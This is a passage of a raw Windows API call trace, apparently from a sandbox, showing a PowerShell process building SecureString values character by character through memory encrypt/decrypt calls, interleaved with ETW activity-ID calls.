(param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\xf2c\x4c69\x90b5\x2de5\xe387\x7c75\x6a26\xdf14\x5746\xdeb6\xb8fb\xe4d1\x8f73\x762f\xc9d7\xa000") returned 0x20 [0125.254] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.254] SysStringLen (param_1="8AtXz/s8Mkc0o2Oky3JAUSXckBqⳣ❇棠⿝") returned 0x20 [0125.254] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.255] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\xf2c\x4c69\x90b5\x2de5\xe387\x7c75\x6a26\xdf14\x4198\x62c\xa92c\x34b8\xd92\x4f4f\xeef0\x6a5c") returned 0x20 [0125.255] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\xf2c\x4c69\x90b5\x2de5\xe387\x7c75\x6a26\xdf14\x4198\x62c\xa92c\x34b8\xd92\x4f4f\xeef0\x6a5c") returned 0x20 [0125.255] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.255] SysStringLen (param_1="8AtXz/s8Mkc0o2Oky3JAUSXckBqN❇棠⿝") returned 0x20 [0125.255] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.255] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\xf2c\x4c69\x90b5\x2de5\xe387\x7c75\x6a26\xdf14\xc6b0\x9305\x8016\x5ed1\xfdb4\x759f\xcd2b\x2393") returned 0x20 [0125.255] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\xf2c\x4c69\x90b5\x2de5\xe387\x7c75\x6a26\xdf14\xc6b0\x9305\x8016\x5ed1\xfdb4\x759f\xcd2b\x2393") returned 0x20 [0125.255] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.255] SysStringLen (param_1="8AtXz/s8Mkc0o2Oky3JAUSXckBqNW棠⿝") returned 0x20 [0125.255] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.255] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\xf2c\x4c69\x90b5\x2de5\xe387\x7c75\x6a26\xdf14\xd23f\xdc06\x578\x68e6\x9776\x543e\x996e\x57e9") returned 0x20 [0125.255] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\xf2c\x4c69\x90b5\x2de5\xe387\x7c75\x6a26\xdf14\xd23f\xdc06\x578\x68e6\x9776\x543e\x996e\x57e9") returned 0x20 [0125.255] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.255] SysStringLen (param_1="8AtXz/s8Mkc0o2Oky3JAUSXckBqNWz⿝") returned 0x20 [0125.255] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.255] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\xf2c\x4c69\x90b5\x2de5\xe387\x7c75\x6a26\xdf14\x469f\x3c16\x6996\xc9c5\x2774\x8e40\x7404\xa96a") returned 0x20 [0125.255] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\xf2c\x4c69\x90b5\x2de5\xe387\x7c75\x6a26\xdf14\x469f\x3c16\x6996\xc9c5\x2774\x8e40\x7404\xa96a") returned 0x20 [0125.255] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.255] SysStringLen (param_1="8AtXz/s8Mkc0o2Oky3JAUSXckBqNWzU") returned 0x20 [0125.255] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.255] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\xf2c\x4c69\x90b5\x2de5\xe387\x7c75\x6a26\xdf14\x8422\xcc94\x1e96\x2221\x4ac1\xd532\x3acd\x60ec") returned 0x20 [0125.255] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\xf2c\x4c69\x90b5\x2de5\xe387\x7c75\x6a26\xdf14\x8422\xcc94\x1e96\x2221\x4ac1\xd532\x3acd\x60ec") returned 0x20 [0125.256] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.256] SysStringLen (param_1="8AtXz/s8Mkc0o2Oky3JAUSXckBqNWzUG") returned 0x20 [0125.256] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.256] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\xf2c\x4c69\x90b5\x2de5\xe387\x7c75\x6a26\xdf14\x7f2b\x2fa3\xc65f\x16bf\x1944\x3325\x8ab2\x9058") returned 0x20 [0125.256] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\xf2c\x4c69\x90b5\x2de5\xe387\x7c75\x6a26\xdf14\x7f2b\x2fa3\xc65f\x16bf\x1944\x3325\x8ab2\x9058") returned 0x20 [0125.256] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\xf2c\x4c69\x90b5\x2de5\xe387\x7c75\x6a26\xdf14\x7f2b\x2fa3\xc65f\x16bf\x1944\x3325\x8ab2\x9058") returned 0x20 [0125.256] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\xf2c\x4c69\x90b5\x2de5\xe387\x7c75\x6a26\xdf14\x7f2b\x2fa3\xc65f\x16bf\x1944\x3325\x8ab2\x9058") returned 0x28 [0125.256] SystemFunction041 (in: Memory=0x8e70114, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70114) returned 0x0 [0125.256] SysStringLen (param_1="8AtXz/s8Mkc0o2Oky3JAUSXckBqNWzUGQ⾉딗ឹ➰콉ꂋ") returned 0x28 [0125.256] SystemFunction040 (in: Memory=0x8e70114, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70114) returned 0x0 [0125.256] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\xf2c\x4c69\x90b5\x2de5\xe387\x7c75\x6a26\xdf14\x7f2b\x2fa3\xc65f\x16bf\x1944\x3325\x8ab2\x9058\x86f8\x4360\xbfbd\xad9c\x67e8\xbe4d\xe678\xbc7f") returned 0x28 [0125.256] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\xf2c\x4c69\x90b5\x2de5\xe387\x7c75\x6a26\xdf14\x7f2b\x2fa3\xc65f\x16bf\x1944\x3325\x8ab2\x9058\x86f8\x4360\xbfbd\xad9c\x67e8\xbe4d\xe678\xbc7f") returned 0x28 [0125.256] SystemFunction041 (in: Memory=0x8e70114, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70114) returned 0x0 [0125.256] SysStringLen (param_1="8AtXz/s8Mkc0o2Oky3JAUSXckBqNWzUGQR딗ឹ➰콉ꂋ") returned 0x28 [0125.256] SystemFunction040 (in: Memory=0x8e70114, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70114) returned 0x0 [0125.256] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\xf2c\x4c69\x90b5\x2de5\xe387\x7c75\x6a26\xdf14\x7f2b\x2fa3\xc65f\x16bf\x1944\x3325\x8ab2\x9058\xcfef\x9036\x3fa1\xbd1e\xfbf7\xbe9a\x88f7\x7103") returned 0x28 [0125.256] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\xf2c\x4c69\x90b5\x2de5\xe387\x7c75\x6a26\xdf14\x7f2b\x2fa3\xc65f\x16bf\x1944\x3325\x8ab2\x9058\xcfef\x9036\x3fa1\xbd1e\xfbf7\xbe9a\x88f7\x7103") returned 0x28 [0125.256] SystemFunction041 (in: Memory=0x8e70114, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70114) returned 0x0 [0125.256] SysStringLen (param_1="8AtXz/s8Mkc0o2Oky3JAUSXckBqNWzUGQRmឹ➰콉ꂋ") returned 0x28 [0125.256] SystemFunction040 (in: Memory=0x8e70114, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70114) returned 0x0 [0125.256] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\xf2c\x4c69\x90b5\x2de5\xe387\x7c75\x6a26\xdf14\x7f2b\x2fa3\xc65f\x16bf\x1944\x3325\x8ab2\x9058\xc0a9\x2545\x3882\xef1a\xddc1\xece9\xa66e\x4be0") returned 0x28 [0125.257] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\xf2c\x4c69\x90b5\x2de5\xe387\x7c75\x6a26\xdf14\x7f2b\x2fa3\xc65f\x16bf\x1944\x3325\x8ab2\x9058\xc0a9\x2545\x3882\xef1a\xddc1\xece9\xa66e\x4be0") returned 0x28 [0125.257] SystemFunction041 (in: Memory=0x8e70114, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70114) returned 0x0 [0125.257] SysStringLen (param_1="8AtXz/s8Mkc0o2Oky3JAUSXckBqNWzUGQRm3➰콉ꂋ") returned 0x28 [0125.257] SystemFunction040 (in: Memory=0x8e70114, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70114) returned 0x0 [0125.257] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\xf2c\x4c69\x90b5\x2de5\xe387\x7c75\x6a26\xdf14\x7f2b\x2fa3\xc65f\x16bf\x1944\x3325\x8ab2\x9058\xb5be\x653a\xe25b\x4602\xd8a3\x2fcb\x344c\x7ee") returned 0x28 [0125.257] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\xf2c\x4c69\x90b5\x2de5\xe387\x7c75\x6a26\xdf14\x7f2b\x2fa3\xc65f\x16bf\x1944\x3325\x8ab2\x9058\xb5be\x653a\xe25b\x4602\xd8a3\x2fcb\x344c\x7ee") returned 0x28 [0125.257] SystemFunction041 (in: Memory=0x8e70114, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70114) returned 0x0 [0125.257] SysStringLen (param_1="8AtXz/s8Mkc0o2Oky3JAUSXckBqNWzUGQRm3G➰콉ꂋ") returned 0x28 [0125.257] SystemFunction040 (in: Memory=0x8e70114, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70114) returned 0x0 [0125.257] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\xf2c\x4c69\x90b5\x2de5\xe387\x7c75\x6a26\xdf14\x7f2b\x2fa3\xc65f\x16bf\x1944\x3325\x8ab2\x9058\xdfb9\xe6e3\x19cb\x47b9\xc5\x9886\xff01\x417a") returned 0x28 [0125.257] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\xf2c\x4c69\x90b5\x2de5\xe387\x7c75\x6a26\xdf14\x7f2b\x2fa3\xc65f\x16bf\x1944\x3325\x8ab2\x9058\xdfb9\xe6e3\x19cb\x47b9\xc5\x9886\xff01\x417a") returned 0x28 [0125.257] SystemFunction041 (in: Memory=0x8e70114, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70114) returned 0x0 [0125.257] SysStringLen (param_1="8AtXz/s8Mkc0o2Oky3JAUSXckBqNWzUGQRm3GT콉ꂋ") returned 0x28 [0125.257] SystemFunction040 (in: Memory=0x8e70114, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70114) returned 0x0 [0125.257] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\xf2c\x4c69\x90b5\x2de5\xe387\x7c75\x6a26\xdf14\x7f2b\x2fa3\xc65f\x16bf\x1944\x3325\x8ab2\x9058\x3195\x5b58\x390c\xc61e\x3ac3\xa9b2\x1b60\xb432") returned 0x28 [0125.257] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\xf2c\x4c69\x90b5\x2de5\xe387\x7c75\x6a26\xdf14\x7f2b\x2fa3\xc65f\x16bf\x1944\x3325\x8ab2\x9058\x3195\x5b58\x390c\xc61e\x3ac3\xa9b2\x1b60\xb432") returned 0x28 [0125.257] SystemFunction041 (in: Memory=0x8e70114, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70114) returned 0x0 [0125.257] SysStringLen (param_1="8AtXz/s8Mkc0o2Oky3JAUSXckBqNWzUGQRm3GT/ꂋ") returned 0x28 [0125.257] SystemFunction040 (in: Memory=0x8e70114, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70114) returned 0x0 [0125.257] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\xf2c\x4c69\x90b5\x2de5\xe387\x7c75\x6a26\xdf14\x7f2b\x2fa3\xc65f\x16bf\x1944\x3325\x8ab2\x9058\x65c4\xbc0\xda60\x816e\x10b3\x5867\x93a1\x21d1") returned 0x28 [0125.257] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\xf2c\x4c69\x90b5\x2de5\xe387\x7c75\x6a26\xdf14\x7f2b\x2fa3\xc65f\x16bf\x1944\x3325\x8ab2\x9058\x65c4\xbc0\xda60\x816e\x10b3\x5867\x93a1\x21d1") returned 0x28 [0125.257] SystemFunction041 (in: Memory=0x8e70114, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70114) returned 0x0 [0125.258] SysStringLen (param_1="8AtXz/s8Mkc0o2Oky3JAUSXckBqNWzUGQRm3GT/N") returned 0x28 [0125.258] SystemFunction040 (in: Memory=0x8e70114, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70114) returned 0x0 [0125.258] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\xf2c\x4c69\x90b5\x2de5\xe387\x7c75\x6a26\xdf14\x7f2b\x2fa3\xc65f\x16bf\x1944\x3325\x8ab2\x9058\xf197\xc57\xfd39\x64c8\xc860\x85f4\x3e55\x5826") returned 0x28 [0125.258] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\xf2c\x4c69\x90b5\x2de5\xe387\x7c75\x6a26\xdf14\x7f2b\x2fa3\xc65f\x16bf\x1944\x3325\x8ab2\x9058\xf197\xc57\xfd39\x64c8\xc860\x85f4\x3e55\x5826") returned 0x28 [0125.258] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\xf2c\x4c69\x90b5\x2de5\xe387\x7c75\x6a26\xdf14\x7f2b\x2fa3\xc65f\x16bf\x1944\x3325\x8ab2\x9058\xf197\xc57\xfd39\x64c8\xc860\x85f4\x3e55\x5826") returned 0x28 [0125.258] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\xf2c\x4c69\x90b5\x2de5\xe387\x7c75\x6a26\xdf14\x7f2b\x2fa3\xc65f\x16bf\x1944\x3325\x8ab2\x9058\xf197\xc57\xfd39\x64c8\xc860\x85f4\x3e55\x5826\x4b\x4e\x2d\x33\x51\x78\x59\x65") returned 0x30 [0125.258] SystemFunction041 (in: Memory=0x8e30ecc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30ecc) returned 0x0 [0125.258] SysStringLen (param_1="8AtXz/s8Mkc0o2Oky3JAUSXckBqNWzUGQRm3GT/NF탈⃛ꏈ뙭䊟") returned 0x30 [0125.258] SystemFunction040 (in: Memory=0x8e30ecc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30ecc) returned 0x0 [0125.258] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\xf2c\x4c69\x90b5\x2de5\xe387\x7c75\x6a26\xdf14\x7f2b\x2fa3\xc65f\x16bf\x1944\x3325\x8ab2\x9058\xf197\xc57\xfd39\x64c8\xc860\x85f4\x3e55\x5826\x9115\xd150\xf51c\x5b59\xce37\xf8ab\xdcc3\xde93") returned 0x30 [0125.258] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\xf2c\x4c69\x90b5\x2de5\xe387\x7c75\x6a26\xdf14\x7f2b\x2fa3\xc65f\x16bf\x1944\x3325\x8ab2\x9058\xf197\xc57\xfd39\x64c8\xc860\x85f4\x3e55\x5826\x9115\xd150\xf51c\x5b59\xce37\xf8ab\xdcc3\xde93") returned 0x30 [0125.258] SystemFunction041 (in: Memory=0x8e30ecc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30ecc) returned 0x0 [0125.258] SysStringLen (param_1="8AtXz/s8Mkc0o2Oky3JAUSXckBqNWzUGQRm3GT/NF4⃛ꏈ뙭䊟") returned 0x30 [0125.258] SystemFunction040 (in: Memory=0x8e30ecc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30ecc) returned 0x0 [0125.258] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\xf2c\x4c69\x90b5\x2de5\xe387\x7c75\x6a26\xdf14\x7f2b\x2fa3\xc65f\x16bf\x1944\x3325\x8ab2\x9058\xf197\xc57\xfd39\x64c8\xc860\x85f4\x3e55\x5826\xe699\x2d75\x510f\x61f\xd342\x3786\xda4e\xc7a1") returned 0x30 [0125.258] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\xf2c\x4c69\x90b5\x2de5\xe387\x7c75\x6a26\xdf14\x7f2b\x2fa3\xc65f\x16bf\x1944\x3325\x8ab2\x9058\xf197\xc57\xfd39\x64c8\xc860\x85f4\x3e55\x5826\xe699\x2d75\x510f\x61f\xd342\x3786\xda4e\xc7a1") returned 0x30 [0125.258] SystemFunction041 (in: Memory=0x8e30ecc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30ecc) returned 0x0 [0125.258] SysStringLen (param_1="8AtXz/s8Mkc0o2Oky3JAUSXckBqNWzUGQRm3GT/NF4Mꏈ뙭䊟") returned 0x30 [0125.258] SystemFunction040 (in: Memory=0x8e30ecc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30ecc) returned 0x0 [0125.258] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\xf2c\x4c69\x90b5\x2de5\xe387\x7c75\x6a26\xdf14\x7f2b\x2fa3\xc65f\x16bf\x1944\x3325\x8ab2\x9058\xf197\xc57\xfd39\x64c8\xc860\x85f4\x3e55\x5826\x553f\xd9d9\x7ff4\x488d\x4928\x618a\x1663\x567c") returned 0x30 [0125.258] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\xf2c\x4c69\x90b5\x2de5\xe387\x7c75\x6a26\xdf14\x7f2b\x2fa3\xc65f\x16bf\x1944\x3325\x8ab2\x9058\xf197\xc57\xfd39\x64c8\xc860\x85f4\x3e55\x5826\x553f\xd9d9\x7ff4\x488d\x4928\x618a\x1663\x567c") returned 0x30 [0125.258] SystemFunction041 (in: Memory=0x8e30ecc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30ecc) returned 0x0 [0125.259] SysStringLen (param_1="8AtXz/s8Mkc0o2Oky3JAUSXckBqNWzUGQRm3GT/NF4M=뙭䊟") returned 0x30 [0125.259] SystemFunction040 (in: Memory=0x8e30ecc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30ecc) returned 0x0 [0125.259] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae650*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae650*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x69, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.259] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aea5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aea5c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x69, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.259] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x68, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x68, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.259] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae58c, nSize=0x100 | out: lpBuffer="㡐犯,") returned 0x0 [0125.259] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae964*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae964*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6a, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.259] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x68, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.259] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae954*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6a, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae954*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6a, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.260] SysStringLen (param_1="") returned 0x8 [0125.260] SysStringLen (param_1="Y") returned 0x8 [0125.260] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.260] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0125.260] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0125.260] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.260] SysStringLen (param_1="YW") returned 0x8 [0125.260] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.260] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0125.260] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0125.260] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.260] SysStringLen (param_1="YWM") returned 0x8 [0125.260] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.260] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0125.260] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0125.260] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.260] SysStringLen (param_1="YWM1") returned 0x8 [0125.260] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.260] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0125.260] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0125.260] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.261] SysStringLen (param_1="YWM1O") returned 0x8 [0125.261] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.261] SysStringLen 